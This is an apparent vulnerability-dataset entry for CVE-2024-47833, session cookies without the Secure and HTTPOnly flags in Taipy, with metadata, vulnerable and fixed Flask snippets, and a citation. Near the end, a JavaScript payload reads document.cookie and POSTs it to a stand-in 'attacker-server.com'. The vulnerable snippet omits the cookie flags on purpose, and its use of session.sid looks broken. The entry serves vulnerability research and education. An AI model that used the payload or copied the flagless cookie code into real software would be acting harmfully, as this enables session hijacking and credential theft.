CVE-2024-47833

Session cookies lack Secure and HTTPOnly flags in affected Taipy versions.

• CVSS 6.3
• CWE-319
• Authentication, Authorization, and Session Management
• Remote

Taipy is an open-source Python library for easy, end-to-end application development for data scientists and machine learning engineers. In affected versions session cookies are served without Secure and HTTPOnly flags. This issue has been addressed in release version 4.0.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

CVE

CVE-2024-47833

CWE

CWE-319

CVSS base score

6.3

Published

2024-10-09

OWASP

A02 Cryptographic Failures

Orthogonal defect classification

Interface

Code defect classification

Missing Check

Category

Authentication, Authorization, and Session Management

Subcategory

Session Management Issues

Accessibility scope

Remote

Impact

Unauthorized Access

Affected component

Taipy

Fixed by upgrading

Yes

Solution

Upgrade to Taipy version 4.0.0 or later.

from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'your_secret_key'

@app.route('/')
def index():
    session['data'] = 'example_data'
    response = app.make_response("Session cookie set")
    response.set_cookie('session', session.sid)
    return response

if __name__ == '__main__':
    app.run()

from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'your_secret_key'

@app.route('/')
def index():
    session['data'] = 'example_data'
    response = app.make_response("Session cookie set")
    response.set_cookie('session', session.sid, secure=True, httponly=True)
    return response

if __name__ == '__main__':
    app.run()

// Example of a JavaScript payload to steal session cookies
fetch('http://vulnerable-application.com', {
    method: 'GET',
    credentials: 'include'
}).then(response => {
    return response.text();
}).then(data => {
    const cookie = document.cookie; // Access the session cookie
    fetch('http://attacker-server.com/steal-cookie', {
        method: 'POST',
        body: JSON.stringify({ cookie: cookie }),
        headers: {
            'Content-Type': 'application/json'
        }
    });
});

@misc{vaitp:cve202447833,
  title        = {{Session cookies lack Secure and HTTPOnly flags in affected Taipy versions.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-47833},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-47833/}}
}